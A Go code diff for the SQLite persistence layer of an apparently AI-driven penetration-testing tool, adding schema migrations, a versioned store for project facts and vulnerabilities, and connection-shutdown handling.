|
||||
// 语义:updated_at 表示该条消息最后一次被写入/更新的时间(例如助手占位消息在任务结束时更新正文)。
|
||||
func (db *DB) migrateMessagesTable() error {
|
||||
var count int
|
||||
err := db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('messages') WHERE name='updated_at'").Scan(&count)
|
||||
if err != nil {
|
||||
// 如果查询失败,尝试添加字段
|
||||
if _, addErr := db.Exec("ALTER TABLE messages ADD COLUMN updated_at DATETIME"); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
return fmt.Errorf("添加 messages.updated_at 字段失败: %w", addErr)
|
||||
}
|
||||
}
|
||||
} else if count == 0 {
|
||||
if _, err := db.Exec("ALTER TABLE messages ADD COLUMN updated_at DATETIME"); err != nil {
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
return fmt.Errorf("添加 messages.updated_at 字段失败: %w", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 回填已有数据:让 updated_at 至少等于 created_at,避免前端出现空/当前时间回退。
|
||||
_, _ = db.Exec("UPDATE messages SET updated_at = created_at WHERE updated_at IS NULL OR updated_at = ''")
|
||||
|
||||
// reasoning_content:DeepSeek 思考模式 + 工具调用续跑;与 last_react_input 互补,供消息表回退路径回放
|
||||
var rcColCount int
|
||||
errRC := db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('messages') WHERE name='reasoning_content'").Scan(&rcColCount)
|
||||
if errRC != nil {
|
||||
if _, addErr := db.Exec("ALTER TABLE messages ADD COLUMN reasoning_content TEXT"); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
return fmt.Errorf("添加 messages.reasoning_content 字段失败: %w", addErr)
|
||||
}
|
||||
}
|
||||
} else if rcColCount == 0 {
|
||||
if _, err := db.Exec("ALTER TABLE messages ADD COLUMN reasoning_content TEXT"); err != nil {
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
return fmt.Errorf("添加 messages.reasoning_content 字段失败: %w", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateConversationsTable 迁移conversations表,添加新字段
|
||||
func (db *DB) migrateConversationsTable() error {
|
||||
// 检查last_react_input字段是否存在
|
||||
@@ -584,14 +984,14 @@ func (db *DB) migrateBatchTaskQueuesTable() error {
|
||||
var agentModeCount int
|
||||
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('batch_task_queues') WHERE name='agent_mode'").Scan(&agentModeCount)
|
||||
if err != nil {
|
||||
if _, addErr := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'single'"); addErr != nil {
|
||||
if _, addErr := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'eino_single'"); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
db.logger.Warn("添加agent_mode字段失败", zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
} else if agentModeCount == 0 {
|
||||
if _, err := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'single'"); err != nil {
|
||||
if _, err := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'eino_single'"); err != nil {
|
||||
db.logger.Warn("添加agent_mode字段失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
@@ -705,6 +1105,79 @@ func (db *DB) migrateBatchTaskQueuesTable() error {
|
||||
}
|
||||
}
|
||||
|
||||
var projectIDCount int
|
||||
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('batch_task_queues') WHERE name='project_id'").Scan(&projectIDCount)
|
||||
if err != nil {
|
||||
if _, addErr := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN project_id TEXT"); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
db.logger.Warn("添加batch_task_queues.project_id字段失败", zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
} else if projectIDCount == 0 {
|
||||
if _, err := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN project_id TEXT"); err != nil {
|
||||
db.logger.Warn("添加batch_task_queues.project_id字段失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateProjectsTable 迁移 projects / conversations / vulnerabilities 的项目关联字段。
|
||||
func (db *DB) migrateProjectsTable() error {
|
||||
for _, col := range []struct {
|
||||
table string
|
||||
name string
|
||||
stmt string
|
||||
}{
|
||||
{"conversations", "project_id", "ALTER TABLE conversations ADD COLUMN project_id TEXT REFERENCES projects(id) ON DELETE SET NULL"},
|
||||
{"vulnerabilities", "project_id", "ALTER TABLE vulnerabilities ADD COLUMN project_id TEXT"},
|
||||
} {
|
||||
var count int
|
||||
err := db.QueryRow("SELECT COUNT(*) FROM pragma_table_info(?) WHERE name=?", col.table, col.name).Scan(&count)
|
||||
if err != nil {
|
||||
if _, addErr := db.Exec(col.stmt); addErr != nil {
|
||||
errMsg := strings.ToLower(addErr.Error())
|
||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||
db.logger.Warn("添加字段失败", zap.String("table", col.table), zap.String("field", col.name), zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
if count == 0 {
|
||||
if _, addErr := db.Exec(col.stmt); addErr != nil {
|
||||
db.logger.Warn("添加字段失败", zap.String("table", col.table), zap.String("field", col.name), zap.Error(addErr))
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateProjectFactVersionsTable 为已有库创建事实版本表。
|
||||
func (db *DB) migrateProjectFactVersionsTable() error {
|
||||
ddl := `
|
||||
CREATE TABLE IF NOT EXISTS project_fact_versions (
|
||||
id TEXT PRIMARY KEY,
|
||||
fact_id TEXT NOT NULL,
|
||||
project_id TEXT NOT NULL,
|
||||
fact_key TEXT NOT NULL,
|
||||
category TEXT NOT NULL DEFAULT 'note',
|
||||
summary TEXT NOT NULL DEFAULT '',
|
||||
body TEXT,
|
||||
confidence TEXT NOT NULL DEFAULT 'tentative',
|
||||
source_conversation_id TEXT,
|
||||
source_message_id TEXT,
|
||||
pinned INTEGER NOT NULL DEFAULT 0,
|
||||
related_vulnerability_id TEXT,
|
||||
archived_at DATETIME NOT NULL,
|
||||
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
|
||||
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
|
||||
);`
|
||||
if _, err := db.Exec(ddl); err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id)`)
|
||||
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id)`)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -716,6 +1189,7 @@ func (db *DB) migrateVulnerabilitiesTable() error {
|
||||
}{
|
||||
{name: "conversation_tag", stmt: "ALTER TABLE vulnerabilities ADD COLUMN conversation_tag TEXT"},
|
||||
{name: "task_tag", stmt: "ALTER TABLE vulnerabilities ADD COLUMN task_tag TEXT"},
|
||||
{name: "project_id", stmt: "ALTER TABLE vulnerabilities ADD COLUMN project_id TEXT"},
|
||||
}
|
||||
|
||||
for _, col := range columns {
|
||||
@@ -780,8 +1254,13 @@ func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
configureDBPool(sqlDB)
|
||||
|
||||
if err := sqlDB.Ping(); err != nil {
|
||||
_ = sqlDB.Close()
|
||||
return nil, fmt.Errorf("连接知识库数据库失败: %w", err)
|
||||
}
|
||||
if err := configureSQLitePragmas(sqlDB); err != nil {
|
||||
_ = sqlDB.Close()
|
||||
return nil, fmt.Errorf("配置知识库数据库 PRAGMA 失败: %w", err)
|
||||
}
|
||||
|
||||
database := &DB{
|
||||
DB: sqlDB,
|
||||
@@ -790,8 +1269,10 @@ func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
|
||||
// 初始化知识库表
|
||||
if err := database.initKnowledgeTables(); err != nil {
|
||||
_ = sqlDB.Close()
|
||||
return nil, fmt.Errorf("初始化知识库表失败: %w", err)
|
||||
}
|
||||
database.startPassiveCheckpointLoop("knowledge")
|
||||
|
||||
return database, nil
|
||||
}
|
||||
@@ -905,5 +1386,19 @@ func (db *DB) migrateKnowledgeEmbeddingsColumns() error {
|
||||
|
||||
// Close 关闭数据库连接
|
||||
func (db *DB) Close() error {
|
||||
return db.DB.Close()
|
||||
if db == nil {
|
||||
return nil
|
||||
}
|
||||
db.closeOnce.Do(func() {
|
||||
if db.checkpointStop != nil {
|
||||
close(db.checkpointStop)
|
||||
if db.checkpointDone != nil {
|
||||
<-db.checkpointDone
|
||||
}
|
||||
}
|
||||
if db.DB != nil {
|
||||
db.closeErr = db.DB.Close()
|
||||
}
|
||||
})
|
||||
return db.closeErr
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DedupeConsecutiveProcessDetails 去掉相邻且语义相同的过程详情(使用 DB 中 data 列原始 JSON 作指纹,避免 map 序列化键序不稳定)。
|
||||
func DedupeConsecutiveProcessDetails(rows []ProcessDetail) []ProcessDetail {
|
||||
if len(rows) < 2 {
|
||||
return rows
|
||||
}
|
||||
out := make([]ProcessDetail, 0, len(rows))
|
||||
var lastKey string
|
||||
for _, d := range rows {
|
||||
key := processDetailRowKey(d)
|
||||
if len(out) > 0 && key != "" && key == lastKey {
|
||||
continue
|
||||
}
|
||||
out = append(out, d)
|
||||
lastKey = key
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func processDetailRowKey(d ProcessDetail) string {
|
||||
return fmt.Sprintf("%s\x00%s\x00%s", d.EventType, strings.TrimSpace(d.Message), d.Data)
|
||||
}
|
||||
@@ -0,0 +1,513 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
var factKeyPattern = regexp.MustCompile(`^[a-z0-9][a-z0-9._/-]*$`)
|
||||
|
||||
// ValidateFactKey 校验事实 key(项目内唯一标识)。
|
||||
func ValidateFactKey(key string) error {
|
||||
key = strings.TrimSpace(key)
|
||||
if key == "" {
|
||||
return fmt.Errorf("fact_key 不能为空")
|
||||
}
|
||||
if len(key) > 128 {
|
||||
return fmt.Errorf("fact_key 过长(最多 128 字符)")
|
||||
}
|
||||
if !factKeyPattern.MatchString(key) {
|
||||
return fmt.Errorf("fact_key 格式无效,仅允许小写字母、数字及 . _ / -,且须以小写字母或数字开头")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Project 渗透测试项目(跨对话共享黑板)。
|
||||
type Project struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description,omitempty"`
|
||||
ScopeJSON string `json:"scope_json,omitempty"`
|
||||
Status string `json:"status"` // active | archived
|
||||
Pinned bool `json:"pinned"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// ProjectFact 项目事实(黑板条目)。
|
||||
type ProjectFact struct {
|
||||
ID string `json:"id"`
|
||||
ProjectID string `json:"project_id"`
|
||||
FactKey string `json:"fact_key"`
|
||||
Category string `json:"category"`
|
||||
Summary string `json:"summary"`
|
||||
Body string `json:"body"`
|
||||
Confidence string `json:"confidence"` // confirmed | tentative | deprecated
|
||||
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
||||
SourceMessageID string `json:"source_message_id,omitempty"`
|
||||
Pinned bool `json:"pinned"`
|
||||
SupersedesFactID string `json:"supersedes_fact_id,omitempty"`
|
||||
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// ProjectFactListFilter 事实列表筛选。
|
||||
type ProjectFactListFilter struct {
|
||||
Category string
|
||||
Confidence string
|
||||
Search string
|
||||
RelatedVulnerabilityID string
|
||||
ExcludeDeprecated bool // 为 true 时排除 confidence=deprecated
|
||||
}
|
||||
|
||||
// CreateProject 创建项目。
|
||||
func (db *DB) CreateProject(p *Project) (*Project, error) {
|
||||
if p.ID == "" {
|
||||
p.ID = uuid.New().String()
|
||||
}
|
||||
if strings.TrimSpace(p.Status) == "" {
|
||||
p.Status = "active"
|
||||
}
|
||||
now := time.Now()
|
||||
if p.CreatedAt.IsZero() {
|
||||
p.CreatedAt = now
|
||||
}
|
||||
p.UpdatedAt = now
|
||||
|
||||
_, err := db.Exec(
|
||||
`INSERT INTO projects (id, name, description, scope_json, status, pinned, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
p.ID, p.Name, p.Description, p.ScopeJSON, p.Status, boolToInt(p.Pinned), p.CreatedAt, p.UpdatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建项目失败: %w", err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// GetProject 获取项目。
|
||||
func (db *DB) GetProject(id string) (*Project, error) {
|
||||
var p Project
|
||||
var pinned int
|
||||
var createdAt, updatedAt string
|
||||
err := db.QueryRow(
|
||||
`SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
||||
FROM projects WHERE id = ?`, id,
|
||||
).Scan(&p.ID, &p.Name, &p.Description, &p.ScopeJSON, &p.Status, &pinned, &createdAt, &updatedAt)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("项目不存在")
|
||||
}
|
||||
return nil, fmt.Errorf("获取项目失败: %w", err)
|
||||
}
|
||||
p.Pinned = pinned != 0
|
||||
p.CreatedAt = parseDBTime(createdAt)
|
||||
p.UpdatedAt = parseDBTime(updatedAt)
|
||||
return &p, nil
|
||||
}
|
||||
|
||||
// ListProjects 列出项目。
|
||||
func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error) {
|
||||
if limit <= 0 {
|
||||
limit = 200
|
||||
}
|
||||
query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
||||
FROM projects WHERE 1=1`
|
||||
args := []interface{}{}
|
||||
if s := strings.TrimSpace(status); s != "" {
|
||||
query += " AND status = ?"
|
||||
args = append(args, s)
|
||||
}
|
||||
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
||||
args = append(args, limit, offset)
|
||||
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("列出项目失败: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []*Project
|
||||
for rows.Next() {
|
||||
var p Project
|
||||
var pinned int
|
||||
var createdAt, updatedAt string
|
||||
if err := rows.Scan(&p.ID, &p.Name, &p.Description, &p.ScopeJSON, &p.Status, &pinned, &createdAt, &updatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.Pinned = pinned != 0
|
||||
p.CreatedAt = parseDBTime(createdAt)
|
||||
p.UpdatedAt = parseDBTime(updatedAt)
|
||||
out = append(out, &p)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// UpdateProject 更新项目。
|
||||
func (db *DB) UpdateProject(p *Project) error {
|
||||
p.UpdatedAt = time.Now()
|
||||
_, err := db.Exec(
|
||||
`UPDATE projects SET name = ?, description = ?, scope_json = ?, status = ?, pinned = ?, updated_at = ? WHERE id = ?`,
|
||||
p.Name, p.Description, p.ScopeJSON, p.Status, boolToInt(p.Pinned), p.UpdatedAt, p.ID,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("更新项目失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteProject 删除项目(级联删除事实;对话 project_id 置空由 FK 处理;漏洞 project_id 置空)。
|
||||
func (db *DB) DeleteProject(id string) error {
|
||||
if _, err := db.Exec(`UPDATE vulnerabilities SET project_id = NULL WHERE project_id = ?`, id); err != nil {
|
||||
return fmt.Errorf("解除漏洞项目关联失败: %w", err)
|
||||
}
|
||||
_, err := db.Exec(`DELETE FROM projects WHERE id = ?`, id)
|
||||
if err != nil {
|
||||
return fmt.Errorf("删除项目失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetConversationProjectID 返回对话绑定的项目 ID。
|
||||
func (db *DB) GetConversationProjectID(conversationID string) (string, error) {
|
||||
var pid sql.NullString
|
||||
err := db.QueryRow(`SELECT project_id FROM conversations WHERE id = ?`, conversationID).Scan(&pid)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return "", fmt.Errorf("对话不存在")
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
if pid.Valid {
|
||||
return strings.TrimSpace(pid.String), nil
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// SetConversationProjectID 设置对话所属项目(空字符串表示解除绑定)。
|
||||
func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID != "" {
|
||||
if _, err := db.GetProject(projectID); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
var val interface{}
|
||||
if projectID == "" {
|
||||
val = nil
|
||||
} else {
|
||||
val = projectID
|
||||
}
|
||||
_, err := db.Exec(`UPDATE conversations SET project_id = ?, updated_at = ? WHERE id = ?`, val, time.Now(), conversationID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("设置对话项目失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ListProjectFactsForIndex 列出用于黑板索引注入的事实(不含 deprecated,除非 includeDeprecated)。
|
||||
func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
|
||||
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE project_id = ?`
|
||||
args := []interface{}{projectID}
|
||||
if !includeDeprecated {
|
||||
query += " AND confidence != 'deprecated'"
|
||||
}
|
||||
query += " ORDER BY pinned DESC, updated_at DESC"
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanProjectFacts(rows)
|
||||
}
|
||||
|
||||
// ListProjectFacts 分页列出项目事实。
|
||||
func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, limit, offset int) ([]*ProjectFact, error) {
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE project_id = ?`
|
||||
args := []interface{}{projectID}
|
||||
if c := strings.TrimSpace(filter.Category); c != "" {
|
||||
query += " AND category = ?"
|
||||
args = append(args, c)
|
||||
}
|
||||
if c := strings.TrimSpace(filter.Confidence); c != "" {
|
||||
query += " AND confidence = ?"
|
||||
args = append(args, c)
|
||||
}
|
||||
if filter.ExcludeDeprecated {
|
||||
query += " AND confidence != 'deprecated'"
|
||||
}
|
||||
if rid := strings.TrimSpace(filter.RelatedVulnerabilityID); rid != "" {
|
||||
query += " AND related_vulnerability_id = ?"
|
||||
args = append(args, rid)
|
||||
}
|
||||
if s := strings.TrimSpace(filter.Search); s != "" {
|
||||
pat := "%" + s + "%"
|
||||
query += " AND (fact_key LIKE ? OR summary LIKE ? OR body LIKE ?)"
|
||||
args = append(args, pat, pat, pat)
|
||||
}
|
||||
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
||||
args = append(args, limit, offset)
|
||||
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanProjectFacts(rows)
|
||||
}
|
||||
|
||||
// GetProjectFactByKey 按 key 获取事实。
|
||||
func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, error) {
|
||||
row := db.QueryRow(
|
||||
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE project_id = ? AND fact_key = ?`,
|
||||
projectID, factKey,
|
||||
)
|
||||
return scanProjectFactRow(row)
|
||||
}
|
||||
|
||||
// GetProjectFact 按 ID 获取事实。
|
||||
func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
|
||||
row := db.QueryRow(
|
||||
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE id = ?`, id,
|
||||
)
|
||||
return scanProjectFactRow(row)
|
||||
}
|
||||
|
||||
// mergeFactBodyOnUpdate 更新时若 incoming body 为空则保留已有内容,避免仅改 summary 时丢失攻击链。
|
||||
func mergeFactBodyOnUpdate(incoming, existing string) string {
|
||||
if strings.TrimSpace(incoming) == "" {
|
||||
return existing
|
||||
}
|
||||
return incoming
|
||||
}
|
||||
|
||||
// UpsertProjectFact 创建或更新事实(按 project_id + fact_key)。
|
||||
func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
|
||||
if err := ValidateFactKey(f.FactKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if strings.TrimSpace(f.Category) == "" {
|
||||
f.Category = "note"
|
||||
}
|
||||
if strings.TrimSpace(f.Confidence) == "" {
|
||||
f.Confidence = "tentative"
|
||||
}
|
||||
now := time.Now()
|
||||
|
||||
existing, err := db.GetProjectFactByKey(f.ProjectID, f.FactKey)
|
||||
if err == nil && existing != nil {
|
||||
f.ID = existing.ID
|
||||
f.CreatedAt = existing.CreatedAt
|
||||
f.UpdatedAt = now
|
||||
f.Body = mergeFactBodyOnUpdate(f.Body, existing.Body)
|
||||
if strings.TrimSpace(f.Category) == "" {
|
||||
f.Category = existing.Category
|
||||
}
|
||||
if strings.TrimSpace(f.Confidence) == "" {
|
||||
f.Confidence = existing.Confidence
|
||||
}
|
||||
if projectFactContentChanged(existing, f) {
|
||||
versionID, verr := db.InsertProjectFactVersion(existing)
|
||||
if verr != nil {
|
||||
return nil, verr
|
||||
}
|
||||
f.SupersedesFactID = versionID
|
||||
} else if f.SupersedesFactID == "" {
|
||||
f.SupersedesFactID = existing.SupersedesFactID
|
||||
}
|
||||
_, err = db.Exec(
|
||||
`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
|
||||
source_conversation_id = COALESCE(?, source_conversation_id),
|
||||
source_message_id = COALESCE(?, source_message_id),
|
||||
pinned = ?, supersedes_fact_id = ?, related_vulnerability_id = ?, updated_at = ?
|
||||
WHERE id = ?`,
|
||||
f.Category, f.Summary, f.Body, f.Confidence,
|
||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("更新事实失败: %w", err)
|
||||
}
|
||||
return f, nil
|
||||
}
|
||||
|
||||
if f.ID == "" {
|
||||
f.ID = uuid.New().String()
|
||||
}
|
||||
f.CreatedAt = now
|
||||
f.UpdatedAt = now
|
||||
_, err = db.Exec(
|
||||
`INSERT INTO project_facts (
|
||||
id, project_id, fact_key, category, summary, body, confidence,
|
||||
source_conversation_id, source_message_id, pinned, supersedes_fact_id, related_vulnerability_id,
|
||||
created_at, updated_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID),
|
||||
f.CreatedAt, f.UpdatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建事实失败: %w", err)
|
||||
}
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// DeprecateProjectFact 将事实标记为 deprecated。
|
||||
func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
|
||||
res, err := db.Exec(
|
||||
`UPDATE project_facts SET confidence = 'deprecated', updated_at = ? WHERE project_id = ? AND fact_key = ?`,
|
||||
time.Now(), projectID, factKey,
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return fmt.Errorf("事实不存在")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// RestoreProjectFact 将已废弃事实恢复为 tentative 或 confirmed(重新参与黑板索引)。
|
||||
func (db *DB) RestoreProjectFact(projectID, factKey, confidence string) error {
|
||||
confidence = strings.TrimSpace(strings.ToLower(confidence))
|
||||
if confidence == "" {
|
||||
confidence = "tentative"
|
||||
}
|
||||
if confidence != "confirmed" && confidence != "tentative" {
|
||||
return fmt.Errorf("confidence 须为 confirmed 或 tentative")
|
||||
}
|
||||
|
||||
existing, err := db.GetProjectFactByKey(projectID, factKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("事实不存在")
|
||||
}
|
||||
if strings.ToLower(strings.TrimSpace(existing.Confidence)) != "deprecated" {
|
||||
return fmt.Errorf("事实未处于废弃状态")
|
||||
}
|
||||
|
||||
_, err = db.Exec(
|
||||
`UPDATE project_facts SET confidence = ?, updated_at = ? WHERE project_id = ? AND fact_key = ?`,
|
||||
confidence, time.Now(), projectID, factKey,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteProjectFact 删除事实。
|
||||
func (db *DB) DeleteProjectFact(id string) error {
|
||||
_, err := db.Exec(`DELETE FROM project_facts WHERE id = ?`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
func scanProjectFacts(rows *sql.Rows) ([]*ProjectFact, error) {
|
||||
var out []*ProjectFact
|
||||
for rows.Next() {
|
||||
f, err := scanProjectFactFromRows(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, f)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
|
||||
var f ProjectFact
|
||||
var pinned int
|
||||
var createdAt, updatedAt string
|
||||
err := row.Scan(
|
||||
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("事实不存在")
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
f.Pinned = pinned != 0
|
||||
f.CreatedAt = parseDBTime(createdAt)
|
||||
f.UpdatedAt = parseDBTime(updatedAt)
|
||||
return &f, nil
|
||||
}
|
||||
|
||||
func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
|
||||
var f ProjectFact
|
||||
var pinned int
|
||||
var createdAt, updatedAt string
|
||||
err := rows.Scan(
|
||||
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Pinned = pinned != 0
|
||||
f.CreatedAt = parseDBTime(createdAt)
|
||||
f.UpdatedAt = parseDBTime(updatedAt)
|
||||
return &f, nil
|
||||
}
|
||||
|
||||
func boolToInt(b bool) int {
|
||||
if b {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func nullIfEmpty(s string) interface{} {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return nil
|
||||
}
|
